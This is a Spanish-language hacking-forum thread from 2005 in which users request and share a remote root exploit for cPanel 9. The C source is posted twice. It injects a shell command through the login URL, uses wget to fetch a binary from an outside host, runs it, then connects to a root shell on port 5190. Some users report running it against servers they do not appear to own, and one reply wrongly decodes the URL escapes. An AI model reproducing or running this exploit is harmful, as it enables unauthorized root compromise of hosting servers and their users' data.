elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:38  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  EXPLOIT PARA CPANEL 9
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: EXPLOIT PARA CPANEL 9  (Leído 6,578 veces)
ikb

Desconectado Desconectado

Mensajes: 1


Ver Perfil
EXPLOIT PARA CPANEL 9
« en: 4 Marzo 2005, 06:37 »

Ando buscando un buen exploit para CPanel 9...
si alguien me puede ayudar se lo agradeceria muchisimo
En línea
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #1 en: 4 Marzo 2005, 11:58 »

http://foro.elhacker.net/index.php/topic,12032.30.html

Busca en este hilo

Saludo
En línea
+ enrique ZP


Desconectado Desconectado

Mensajes: 2.937


X-Aqui


Ver Perfil WWW
Re: EXPLOIT PARA CPANEL 9
« Respuesta #2 en: 20 Marzo 2005, 03:01 »


     En ese hilo no encontraras nada de nada. EL exploit es este!

Código:
/* Private Remote Root Exploit for Cpanel <= 9.x, by Tal0n of NixSec 03-13-04 */
/* Will open a rootshell on port 5190, press enter once to get sh-2.05b# */
/* Please do not distribute, keep it very private if it falls into your hands */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 2082

char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;"
              "chmod 777 whos;./whos%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remote;

if(argc != 2) {
printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n\n");
printf("Usage: %s <ip>\n\n", argv[0]);
return 0; }

if(argc == 2) {

printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n");

remote.sin_family = AF_INET;
remote.sin_port = htons(PORT);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&hack, sizeof(hack), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");

close(sock);
sleep(5);

printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);

sprintf(shell, "telnet %s 5190", argv[1]);
system(shell);
printf("\n"); }

return 0; }

     Hasta Pronto
En línea

darksteel-

Desconectado Desconectado

Mensajes: 142


¡Amo YaBB SE!


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #3 en: 20 Marzo 2005, 05:16 »


     En ese hilo no encontraras nada de nada. EL exploit es este!

Código:
/* Private Remote Root Exploit for Cpanel <= 9.x, by Tal0n of NixSec 03-13-04 */
/* Will open a rootshell on port 5190, press enter once to get sh-2.05b# */
/* Please do not distribute, keep it very private if it falls into your hands */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 2082

char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;"
              "chmod 777 whos;./whos%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remote;

if(argc != 2) {
printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n\n");
printf("Usage: %s <ip>\n\n", argv[0]);
return 0; }

if(argc == 2) {

printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n");

remote.sin_family = AF_INET;
remote.sin_port = htons(PORT);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&hack, sizeof(hack), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");

close(sock);
sleep(5);

printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);

sprintf(shell, "telnet %s 5190", argv[1]);
system(shell);
printf("\n"); }

return 0; }

     Hasta Pronto

Hola, yo estoy usando el exploit,

mira,...


Citar
./cpanel 66..00....

CPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04

Exploit Sent! Closing socket and sleeping for 5 seconds...

Done! Connecting to 66..00.... for shell...

Trying 66..00....


Luego de ahí, no hace nada mas? que debo hacer
En línea

easycreations.org
+ enrique ZP


Desconectado Desconectado

Mensajes: 2.937


X-Aqui


Ver Perfil WWW
Re: EXPLOIT PARA CPANEL 9
« Respuesta #4 en: 20 Marzo 2005, 05:46 »

     Cuanto tiempo lo esperas ???
En línea

darksteel-

Desconectado Desconectado

Mensajes: 142


¡Amo YaBB SE!


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #5 en: 20 Marzo 2005, 05:54 »

poco.... :)
En línea

easycreations.org
+ enrique ZP


Desconectado Desconectado

Mensajes: 2.937


X-Aqui


Ver Perfil WWW
Re: EXPLOIT PARA CPANEL 9
« Respuesta #6 en: 20 Marzo 2005, 05:55 »

poco.... :)

     Entonces espera un poco mas, a de ser problemas del servidor al cargarlo o algo asi.

Hasta Pron ;)
En línea

darksteel-

Desconectado Desconectado

Mensajes: 142


¡Amo YaBB SE!


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #7 en: 20 Marzo 2005, 06:04 »

Trying (ip)...
telnet: connect to address (ip): Connection timed out...

quizas no sea vulnerable...
En línea

easycreations.org
pinger

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #8 en: 11 Abril 2005, 01:20 »

Holas gentes, la verdad es es mi primer post aqui, pero llevo ya mucho tiempo estudiando protocolos, algo de programacion ... Bueno al lio, q no entiendo bien este xploit, aparte de q funcione o deje de funcionar.

GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;"

En lo q se supone q es el hack en si, realizas dos acciones no?
Una hace una peticion al servidor por /login/?user=|%22%60cd /opt 

Supongo q el | lo q hace es enviar un comando "oculto" dentro del formulario por llamarlo de alguna manera. Pero q representa el %22 y el %60. He estado buscando pero es complicado encontrar algo util por %22 y %60.

Algun texto q me pueda servir?

La otra duda, es porq hace el get a ese servidor, he estado mirando si aun existe, pero la pagina da un error 404. NOT FOUND :p

Bueno espero q no me catalogueis de lammer en mi primer post, un saludo.
En línea
alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #9 en: 11 Abril 2005, 08:40 »

%22 es "espacio" y  %60 creo que es la barra "/" no estoy seguro del %60. de todas formas si alguien sabe donde poder encontrar mas informacion sobre esto que k lo diga a mi tambien me interesa :)
En línea
Spud

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #10 en: 20 Abril 2005, 21:02 »

a mi me lo hace todo bien, me conecta al final, pero los comandos no obtienen respuesta....
En línea
Spud

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: EXPLOIT PARA CPANEL 9
« Respuesta #11 en: 20 Abril 2005, 21:31 »

deduzco que en
GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;"
hay que sustituir terock.net por el dominio en cuestion, y debe existir el path mt/archives/.cp/ no?
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines